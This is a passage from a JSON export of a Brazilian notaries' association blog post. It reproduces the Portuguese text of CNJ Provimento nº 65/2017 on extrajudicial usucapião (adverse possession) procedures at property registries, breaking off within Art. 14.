{"id":1410,"date":"2017-12-15T13:18:35","date_gmt":"2017-12-15T15:18:35","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/cnj-edita-o-provimento-no-65-2017-e-regulamenta-a-usucapiao-extrajudicial\/"},"modified":"2017-12-15T13:18:35","modified_gmt":"2017-12-15T15:18:35","slug":"cnj-edita-o-provimento-no-65-2017-e-regulamenta-a-usucapiao-extrajudicial","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/cnj-edita-o-provimento-no-65-2017-e-regulamenta-a-usucapiao-extrajudicial\/","title":{"rendered":"CNJ edita o Provimento n\u00ba 65\/2017 e regulamenta a Usucapi\u00e3o Extrajudicial"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O CORREGEDOR NACIONAL DE JUSTI&Ccedil;A, usando de suas atribui&ccedil;&otilde;es legais e regimentais e<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; CONSIDERANDO o poder de fiscaliza&ccedil;&atilde;o e de normatiza&ccedil;&atilde;o do Poder Judici&aacute;rio dos atos praticados por seus &oacute;rg&atilde;os (art. 103-B, &sect; 4&ordm;, I, II e III, da Constitui&ccedil;&atilde;o Federal);<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; CONSIDERANDO a compet&ecirc;ncia do Poder Judici&aacute;rio de fiscalizar os servi&ccedil;os notariais e de registro (arts. 103-B, &sect; 4&ordm;, I e III, e 236, &sect; 1&ordm;, da Constitui&ccedil;&atilde;o Federal);<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; CONSIDERANDO a obriga&ccedil;&atilde;o de os not&aacute;rios e registradores cumprirem as normas t&eacute;cnicas estabelecidas pelo Poder Judici&aacute;rio (arts. 30, XIV, e 38 da Lei n. 8.935, de 18 de novembro de 1994);<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; CONSIDERANDO a compet&ecirc;ncia da Corregedoria Nacional de Justi&ccedil;a de expedir provimentos e outros atos normativos destinados ao aperfei&ccedil;oamento das atividades dos servi&ccedil;os notariais e de registro (art. 8&ordm;, X, do Regimento Interno do Conselho Nacional de Justi&ccedil;a);<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; CONSIDERANDO a previs&atilde;o de que, sem preju&iacute;zo da via jurisdicional, o pedido de reconhecimento extrajudicial da usucapi&atilde;o ser&aacute; processado diretamente no of&iacute;cio de registro de im&oacute;veis (art. 216-A da Lei n. 6.015, de 31 de dezembro de 1973, Lei de Registros P&uacute;blicos &ndash; LRP);<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; CONSIDERANDO a necessidade de regulamenta&ccedil;&atilde;o e padroniza&ccedil;&atilde;o do procedimento para a admiss&atilde;o da usucapi&atilde;o extrajudicial at&eacute; que as unidades da Federa&ccedil;&atilde;o adotem norma pr&oacute;pria acerca dos emolumentos (Lei n. 10.169, de 29 de dezembro de 2000);<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; CONSIDERANDO a maior celeridade, redu&ccedil;&atilde;o de custos e de demandas no Poder Judici&aacute;rio mediante a desjudicializa&ccedil;&atilde;o de procedimentos;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; CONSIDERANDO a necessidade de uniformiza&ccedil;&atilde;o, em todo o territ&oacute;rio nacional, dos procedimentos relativos &agrave; usucapi&atilde;o extrajudicial;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; CONSIDERANDO as sugest&otilde;es colhidas no &acirc;mbito da consulta p&uacute;blica realizada pela Corregedoria Nacional de Justi&ccedil;a e nos autos do Pedido de Provid&ecirc;ncia n. 0007015-88.2016.2.00.0000, em tr&acirc;mite no Conselho Nacional de Justi&ccedil;a,<\/p>\n<p style=\"text-align: justify;\"><strong>RESOLVE<\/strong>:<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 1&ordm; Estabelecer diretrizes para o procedimento da usucapi&atilde;o extrajudicial no &acirc;mbito dos servi&ccedil;os notariais e de registro de im&oacute;veis, nos termos do art. 216-A da LRP.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 2&ordm; Sem preju&iacute;zo da via jurisdicional, &eacute; admitido o pedido de reconhecimento extrajudicial da usucapi&atilde;o formulado pelo requerente &ndash; representado por advogado ou por defensor p&uacute;blico,nos termos do disposto no art. 216-A da LRP &ndash;, que ser&aacute; processado diretamente no of&iacute;cio de registro de im&oacute;veis da circunscri&ccedil;&atilde;o em que estiver localizado o im&oacute;vel usucapiendo ou a maior parte dele.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 1&ordm; O procedimento de que trata o caput poder&aacute; abranger a propriedade e demais direitos reais pass&iacute;veis da usucapi&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 2&ordm; Ser&aacute; facultada aos interessados a op&ccedil;&atilde;o pela via judicial ou pela extrajudicial; podendo ser solicitada, a qualquer momento, a suspens&atilde;o do procedimento pelo prazo de trinta dias ou a desist&ecirc;ncia da via judicial para promo&ccedil;&atilde;o da via extrajudicial.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 3&ordm; Homologada a desist&ecirc;ncia ou deferida a suspens&atilde;o, poder&atilde;o ser utilizadas as provas produzidas na via judicial.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 4&ordm; N&atilde;o se admitir&aacute; o reconhecimento extrajudicial da usucapi&atilde;o de bens p&uacute;blicos, nos termos da lei.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 3&ordm; O requerimento de reconhecimento extrajudicial da usucapi&atilde;o atender&aacute;, no que couber, aos requisitos da peti&ccedil;&atilde;o inicial, estabelecidos pelo art. 319 do C&oacute;digo de Processo Civil &ndash; CPC, bem como indicar&aacute;:<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; I &ndash; a modalidade de usucapi&atilde;o requerida e sua base legal ou constitucional;&rsquo;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; II &ndash; a origem e as caracter&iacute;sticas da posse, a exist&ecirc;ncia de edifica&ccedil;&atilde;o, de benfeitoria ou de qualquer acess&atilde;o no im&oacute;vel usucapiendo, com a refer&ecirc;ncia &agrave;s respectivas datas de ocorr&ecirc;ncia;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; III &ndash; o nome e estado civil de todos os possuidores anteriores cujo tempo de posse foi somado ao do requerente para completar o per&iacute;odo aquisitivo;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; IV &ndash; o n&uacute;mero da matr&iacute;cula ou transcri&ccedil;&atilde;o da &aacute;rea onde se encontra inserido o im&oacute;vel usucapiendo ou a informa&ccedil;&atilde;o de que n&atilde;o se encontra matriculado ou transcrito;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; V &ndash; o valor atribu&iacute;do ao im&oacute;vel usucapiendo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 4&ordm; O requerimento ser&aacute; assinado por advogado ou por defensor p&uacute;blico constitu&iacute;do pelo requerente e instru&iacute;do com os seguintes documentos:<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; I &ndash; ata notarial com a qualifica&ccedil;&atilde;o, endere&ccedil;o eletr&ocirc;nico, domic&iacute;lio e resid&ecirc;ncia do requerente e respectivo c&ocirc;njuge ou companheiro, se houver, e do titular do im&oacute;vel lan&ccedil;ado na matr&iacute;cula objeto da usucapi&atilde;o que ateste:<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; a) a descri&ccedil;&atilde;o do im&oacute;vel conforme consta na matr&iacute;cula do registro em caso de bem individualizado ou a descri&ccedil;&atilde;o da &aacute;rea em caso de n&atilde;o individualiza&ccedil;&atilde;o, devendo ainda constar as caracter&iacute;sticas do im&oacute;vel, tais como a exist&ecirc;ncia de edifica&ccedil;&atilde;o, de benfeitoria ou de qualquer acess&atilde;o no im&oacute;vel usucapiendo;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; b) o tempo e as caracter&iacute;sticas da posse do requerente e de seus antecessores;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; c) a forma de aquisi&ccedil;&atilde;o da posse do im&oacute;vel usucapiendo pela parte requerente;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; d) a modalidade de usucapi&atilde;o pretendida e sua base legal ou constitucional;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; e) o n&uacute;mero de im&oacute;veis atingidos pela pretens&atilde;o aquisitiva e a localiza&ccedil;&atilde;o: se est&atilde;o situados em uma ou em mais circunscri&ccedil;&otilde;es;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; f) o valor do im&oacute;vel;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; g) outras informa&ccedil;&otilde;es que o tabeli&atilde;o de notas considere necess&aacute;rias &agrave; instru&ccedil;&atilde;o do procedimento, tais como depoimentos de testemunhas ou partes confrontantes;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; II &ndash; planta e memorial descritivo assinados por profissional legalmente habilitado e com prova da Anota&ccedil;&atilde;o da Responsabilidade T&eacute;cnica &ndash; ART ou do Registro de Responsabilidade T&eacute;cnica &ndash; RTT no respectivo conselho de fiscaliza&ccedil;&atilde;o profissional e pelos titulares dos direitos registrados ou averbados na matr&iacute;cula do im&oacute;vel usucapiendo ou na matr&iacute;cula dos im&oacute;veis confinantes ou pelos ocupantes a qualquer t&iacute;tulo;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; III &ndash; justo t&iacute;tulo ou quaisquer outros documentos que demonstrem a origem, a continuidade, a cadeia possess&oacute;ria e o tempo de posse;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; IV &ndash; certid&otilde;es negativas dos distribuidores da Justi&ccedil;a Estadual e da Justi&ccedil;a Federal do local da situa&ccedil;&atilde;o do im&oacute;vel usucapiendo expedidas nos &uacute;ltimos trinta dias, demonstrando a inexist&ecirc;ncia de a&ccedil;&otilde;es que caracterizem oposi&ccedil;&atilde;o &agrave; posse do im&oacute;vel, em nome das seguintes pessoas:<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; a) do requerente e respectivo c&ocirc;njuge ou companheiro, se houver;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; b) do propriet&aacute;rio do im&oacute;vel usucapiendo e respectivo c&ocirc;njuge ou companheiro, se houver;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; c) de todos os demais possuidores e respectivos c&ocirc;njuges ou companheiros, se houver, em caso de sucess&atilde;o de posse, que &eacute; somada &agrave; do requerente para completar o per&iacute;odo aquisitivo da usucapi&atilde;o;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; V &ndash; descri&ccedil;&atilde;ogeorreferenciada nas hip&oacute;teses previstas na Lei n. 10.267, de 28 de agosto de 2001, e nos decretos regulamentadores;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; VI &ndash; instrumento de mandato, p&uacute;blico ou particular, com poderes especiais e com firma reconhecida, por semelhan&ccedil;a ou autenticidade,<\/p>\n<p style=\"text-align: justify;\">outorgado ao advogado pelo requerente e por seu c&ocirc;njuge ou companheiro;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; VII &ndash; declara&ccedil;&atilde;o do requerente, do seu c&ocirc;njuge ou companheiro que outorgue ao defensor p&uacute;blico a capacidade postulat&oacute;ria da usucapi&atilde;o;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; VIII &ndash; certid&atilde;o dos &oacute;rg&atilde;os municipais e\/ou federais que demonstre a natureza urbana ou rural do im&oacute;vel usucapiendo, nos termos da Instru&ccedil;&atilde;o Normativa Incra n. 82\/2015 e da Nota T&eacute;cnica Incra\/DF\/DFC n. 2\/2016, expedida at&eacute; trinta dias antes do requerimento.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 1&ordm; Os documentos a que se refere o caput deste artigo ser&atilde;o apresentados no original.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 2&ordm; O requerimento ser&aacute; instru&iacute;do com tantas c&oacute;pias quantas forem os titulares de direitos reais ou de outros direitos registrados sobre o im&oacute;vel usucapiendo e os propriet&aacute;rios confinantes ou ocupantes cujas assinaturas n&atilde;o constem da planta nem do memorial descritivo referidos no inciso II deste artigo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 3&ordm; O documento oferecido em c&oacute;pia poder&aacute;, no requerimento, ser declarado aut&ecirc;ntico pelo advogado ou pelo defensor p&uacute;blico, sob sua responsabilidade pessoal, sendo dispensada a apresenta&ccedil;&atilde;o de c&oacute;pias autenticadas.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 4&ordm; Ser&aacute; dispensado o consentimento do c&ocirc;njuge do requerente se estiverem casados sob o regime de separa&ccedil;&atilde;o absoluta de bens.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 5&ordm; Ser&aacute; dispensada a apresenta&ccedil;&atilde;o de planta e memorial descritivo se o im&oacute;vel usucapiendo for unidade aut&ocirc;noma de condom&iacute;nio edil&iacute;cio ou loteamento regularmente institu&iacute;do, bastando que o requerimento fa&ccedil;a men&ccedil;&atilde;o &agrave; descri&ccedil;&atilde;o constante da respectiva matr&iacute;cula.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 6&ordm; Ser&aacute; exigido o reconhecimento de firma, por semelhan&ccedil;a ou autenticidade, das assinaturas lan&ccedil;adas na planta e no memorial mencionados no inciso II do caput deste artigo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 7&ordm; O requerimento poder&aacute; ser instru&iacute;do com mais de uma ata notarial, por ata notarial complementar ou por escrituras declarat&oacute;rias lavradas pelo mesmo ou por diversos not&aacute;rios, ainda que de diferentes munic&iacute;pios, as quais descrever&atilde;o os fatos conforme sucederem no tempo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 8&ordm; O valor do im&oacute;vel declarado pelo requerente ser&aacute; seu valor venal relativo ao &uacute;ltimo lan&ccedil;amento do imposto predial e territorial urbano ou do imposto territorial rural incidente ou, quando n&atilde;o estipulado, o valor de mercado aproximado.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 9&ordm; Na hip&oacute;tese de j&aacute; existir procedimento de reconhecimento extrajudicial da usucapi&atilde;o acerca do mesmo im&oacute;vel, a prenota&ccedil;&atilde;o do procedimento permanecer&aacute; sobrestada at&eacute; o acolhimento ou rejei&ccedil;&atilde;o do procedimento anterior.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 10. Existindo procedimento de reconhecimento extrajudicial da usucapi&atilde;o referente a parcela do im&oacute;vel usucapiendo, o procedimento prosseguir&aacute; em rela&ccedil;&atilde;o &agrave; parte incontroversa do im&oacute;vel, permanecendo sobrestada a prenota&ccedil;&atilde;o quanto &agrave; parcela controversa.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 11. Se o pedido da usucapi&atilde;o extrajudicial abranger mais de um im&oacute;vel, ainda que de titularidade diversa, o procedimento poder&aacute; ser realizado por meio de &uacute;nico requerimento e ata notarial, se cont&iacute;guas as &aacute;reas.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 5&ordm; A ata notarial mencionada no art. 4&ordm; deste provimento ser&aacute; lavrada pelo tabeli&atilde;o de notas do munic&iacute;pio em que estiver localizado o im&oacute;vel usucapiendo ou a maior parte dele, a quem caber&aacute; alertar o requerente e as testemunhas de que a presta&ccedil;&atilde;o de declara&ccedil;&atilde;o falsa no referido instrumento configurar&aacute; crime de falsidade, sujeito &agrave;s penas da lei.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 1&ordm; O tabeli&atilde;o de notas poder&aacute; comparecer pessoalmente ao im&oacute;vel usucapiendo para realizar dilig&ecirc;ncias necess&aacute;rias &agrave; lavratura da ata notarial.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 2&ordm; Podem constar da ata notarial imagens, documentos, sons gravados em arquivos eletr&ocirc;nicos, al&eacute;m do depoimento de testemunhas, n&atilde;o podendo basear-se apenas em declara&ccedil;&otilde;es do requerente.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 3&ordm; Finalizada a lavratura da ata notarial, o tabeli&atilde;o deve cientificar o requerente e consignar no ato que a ata notarial n&atilde;o tem valor como confirma&ccedil;&atilde;o ou estabelecimento de propriedade, servindo apenas para a instru&ccedil;&atilde;o de requerimento extrajudicial de usucapi&atilde;o para processamento perante o registrador de im&oacute;veis.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 6&ordm; Para o reconhecimento extrajudicial da usucapi&atilde;o de unidade aut&ocirc;noma integrante de condom&iacute;nio edil&iacute;cio regularmente constitu&iacute;do e com constru&ccedil;&atilde;o averbada, bastar&aacute; a anu&ecirc;ncia do s&iacute;ndico do condom&iacute;nio.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 7&ordm; Na hip&oacute;tese de a unidade usucapienda localizar-se em condom&iacute;nio edil&iacute;cio constitu&iacute;do de fato, ou seja, sem o respectivo registro do ato de incorpora&ccedil;&atilde;o ou sem a devida averba&ccedil;&atilde;o de constru&ccedil;&atilde;o, ser&aacute; exigida a anu&ecirc;ncia de todos os titulares de direito constantes da matr&iacute;cula.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 8&ordm; O reconhecimento extrajudicial da usucapi&atilde;o pleiteado por mais de um requerente ser&aacute; admitido nos casos de exerc&iacute;cio comum da posse.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp; Art. 9&ordm; O requerimento, juntamente com todos os documentos que o instru&iacute;rem, ser&aacute; autuado pelo oficial do registro de im&oacute;veis competente, prorrogando-se os efeitos da prenota&ccedil;&atilde;o at&eacute; o acolhimento ou rejei&ccedil;&atilde;o do pedido.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 1&ordm; Todas as notifica&ccedil;&otilde;es destinadas ao requerente ser&atilde;o efetivadas na pessoa do seu advogado ou do defensor p&uacute;blico, por e-mail.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 2&ordm; A des&iacute;dia do requerente poder&aacute; acarretar o arquivamento do pedido com base no art. 205 da LRP, bem como o cancelamento da prenota&ccedil;&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 10. Se a planta mencionada no inciso II do caput do art. 4&ordm; deste provimento n&atilde;o estiver assinada pelos titulares dos direitos registrados ou averbados na matr&iacute;cula do im&oacute;vel usucapiendo ou na matr&iacute;cula dos im&oacute;veis confinantes ou ocupantes a qualquer t&iacute;tulo e n&atilde;o for apresentado documento aut&ocirc;nomo de anu&ecirc;ncia expressa, eles ser&atilde;o notificados pelo oficial de registro de im&oacute;veis ou por interm&eacute;dio do oficial de registro de t&iacute;tulos e documentos para que manifestem consentimento no prazo de quinze dias, considerando-se sua in&eacute;rcia como concord&acirc;ncia.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 1&ordm; A notifica&ccedil;&atilde;o poder&aacute; ser feita pessoalmente pelo oficial de registro de im&oacute;veis ou por escrevente habilitado se a parte notificanda comparecer em cart&oacute;rio.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 2&ordm; Se o notificando residir em outra comarca ou circunscri&ccedil;&atilde;o, a notifica&ccedil;&atilde;o dever&aacute; ser realizada pelo oficial de registro de t&iacute;tulos e documentos da outra comarca ou circunscri&ccedil;&atilde;o, adiantando o requerente as despesas.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 3&ordm; A notifica&ccedil;&atilde;o poder&aacute; ser realizada por carta com aviso de recebimento, devendo vir acompanhada de c&oacute;pia do requerimento inicial e da ata notarial, bem como de c&oacute;pia da planta e do memorial descritivo e dos demais documentos que a instru&iacute;ram.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 4&ordm; Se os notificandos forem casados ou conviverem em uni&atilde;o est&aacute;vel, tamb&eacute;m ser&atilde;o notificados, em ato separado, os respectivos c&ocirc;njuges ou companheiros.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 5&ordm; Dever&aacute; constar expressamente na notifica&ccedil;&atilde;o a informa&ccedil;&atilde;o de que o transcurso do prazo previsto no caput sem manifesta&ccedil;&atilde;o do titular do direito sobre o im&oacute;vel consistir&aacute; em anu&ecirc;ncia ao pedido de reconhecimento extrajudicial da usucapi&atilde;o do bem im&oacute;vel.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 6&ordm; Se a planta n&atilde;o estiver assinada por algum confrontante, este ser&aacute; notificado pelo oficial de registro de im&oacute;veis mediante carta com aviso de recebimento, para manifestar-se no prazo de quinze dias, aplicando-se ao que couber o disposto nos &sect;&sect; 2&ordm; e seguintes do art. 213 e seguintes da LRP.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 7&ordm; O consentimento expresso poder&aacute; ser manifestado pelos confrontantes e titulares de direitos reais a qualquer momento, por documento particular com firma reconhecida ou por instrumento p&uacute;blico, sendo prescind&iacute;vel a assist&ecirc;ncia de advogado ou defensor p&uacute;blico.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 8&ordm; A concord&acirc;ncia poder&aacute; ser manifestada ao escrevente encarregado da intima&ccedil;&atilde;o mediante assinatura de certid&atilde;o espec&iacute;fica de concord&acirc;ncia lavrada no ato pelo preposto.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 9&ordm; Tratando-se de pessoa jur&iacute;dica, a notifica&ccedil;&atilde;o dever&aacute; ser entregue a pessoa com poderes de representa&ccedil;&atilde;o legal.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 10. Se o im&oacute;vel usucapiendo for matriculado com descri&ccedil;&atilde;o precisa e houver perfeita identidade entre a descri&ccedil;&atilde;o tabular e a &aacute;rea objeto do requerimento da usucapi&atilde;o extrajudicial, fica dispensada a intima&ccedil;&atilde;o dos confrontantes do im&oacute;vel, devendo o registro da aquisi&ccedil;&atilde;o origin&aacute;ria ser realizado na matr&iacute;cula existente.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 11. Infrut&iacute;feras as notifica&ccedil;&otilde;es mencionadas neste provimento, estando o notificando em lugar incerto, n&atilde;o sabido ou inacess&iacute;vel, o oficial de registro de im&oacute;veis certificar&aacute; o ocorrido e promover&aacute; a notifica&ccedil;&atilde;o por edital publicado, por duas vezes, em jornal local de grande circula&ccedil;&atilde;o, pelo prazo de quinze dias cada um, interpretando o sil&ecirc;ncio do notificando como concord&acirc;ncia.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Par&aacute;grafo &uacute;nico. A notifica&ccedil;&atilde;o por edital poder&aacute; ser publicada em meio eletr&ocirc;nico, desde que o procedimento esteja regulamentado pelo tribunal.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 12. Na hip&oacute;tese de algum titular de direitos reais e de outros direitos registrados na matr&iacute;cula do im&oacute;vel usucapiendo e na matr&iacute;cula do im&oacute;vel confinante ter falecido, poder&atilde;o assinar a planta e memorial descritivo os herdeiros legais, desde que apresentem escritura p&uacute;blica declarat&oacute;ria de &uacute;nicos herdeiros com nomea&ccedil;&atilde;o do inventariante.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 13. Considera-se outorgado o consentimento mencionado no caput do art. 10 deste provimento, dispensada a notifica&ccedil;&atilde;o, quando for apresentado pelo requerente justo t&iacute;tulo ou instrumento que demonstre a exist&ecirc;ncia de rela&ccedil;&atilde;o jur&iacute;dica com o titular registral, acompanhado de prova da quita&ccedil;&atilde;o das obriga&ccedil;&otilde;es e de certid&atilde;o do distribuidor c&iacute;vel expedida at&eacute; trinta dias antes do requerimento que demonstre a inexist&ecirc;ncia de a&ccedil;&atilde;o judicial contra o requerente ou contra seus cession&aacute;rios envolvendo o im&oacute;vel usucapiendo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 1&ordm; S&atilde;o exemplos de t&iacute;tulos ou instrumentos a que se refere o caput:<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; I &ndash; compromisso ou recibo de compra e venda;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; II &ndash; cess&atilde;o de direitos e promessa de cess&atilde;o;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; III &ndash; pr&eacute;-contrato;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; IV &ndash; proposta de compra;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; V &ndash; reserva de lote ou outro instrumento no qual conste a manifesta&ccedil;&atilde;o de vontade das partes, contendo a indica&ccedil;&atilde;o da fra&ccedil;&atilde;o ideal, do lote ou unidade, o pre&ccedil;o, o modo de pagamento e a promessa de contratar;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; VI &ndash; procura&ccedil;&atilde;o p&uacute;blica com poderes de aliena&ccedil;&atilde;o para si ou para outrem, especificando o im&oacute;vel;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; VII &ndash; escritura de cess&atilde;o de direitos heredit&aacute;rios, especificando o im&oacute;vel;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; VIII &ndash; documentos judiciais de partilha, arremata&ccedil;&atilde;o ou adjudica&ccedil;&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 2&ordm; Em qualquer dos casos, dever&aacute; ser justificado o &oacute;bice &agrave; correta escritura&ccedil;&atilde;o das transa&ccedil;&otilde;es para evitar o uso da usucapi&atilde;o como meio de burla dos requisitos legais do sistema notarial e registral e da tributa&ccedil;&atilde;o dos impostos de transmiss&atilde;o incidentes sobre os neg&oacute;cios imobili&aacute;rios, devendo registrador alertar o requerente e as testemunhas de que a presta&ccedil;&atilde;o de declara&ccedil;&atilde;o falsa na referida justifica&ccedil;&atilde;o configurar&aacute; crime de falsidade, sujeito &agrave;s penas da lei.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 3&ordm; A prova de quita&ccedil;&atilde;o ser&aacute; feita por meio de declara&ccedil;&atilde;o escrita ou da apresenta&ccedil;&atilde;o da quita&ccedil;&atilde;o da &uacute;ltima parcela do pre&ccedil;o aven&ccedil;ado ou de recibo assinado pelo propriet&aacute;rio com firma reconhecida.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 4&ordm; A an&aacute;lise dos documentos citados neste artigo e em seus par&aacute;grafos ser&aacute; realizada pelo oficial de registro de im&oacute;veis, que proferir&aacute; nota fundamentada, conforme seu livre convencimento, acerca da veracidade e idoneidade do conte&uacute;do e da inexist&ecirc;ncia de lide relativa ao neg&oacute;cio objeto de regulariza&ccedil;&atilde;o pela usucapi&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 14. A exist&ecirc;ncia de &ocirc;nus real ou de gravame na matr&iacute;cula do im&oacute;vel usucapiendo n&atilde;o 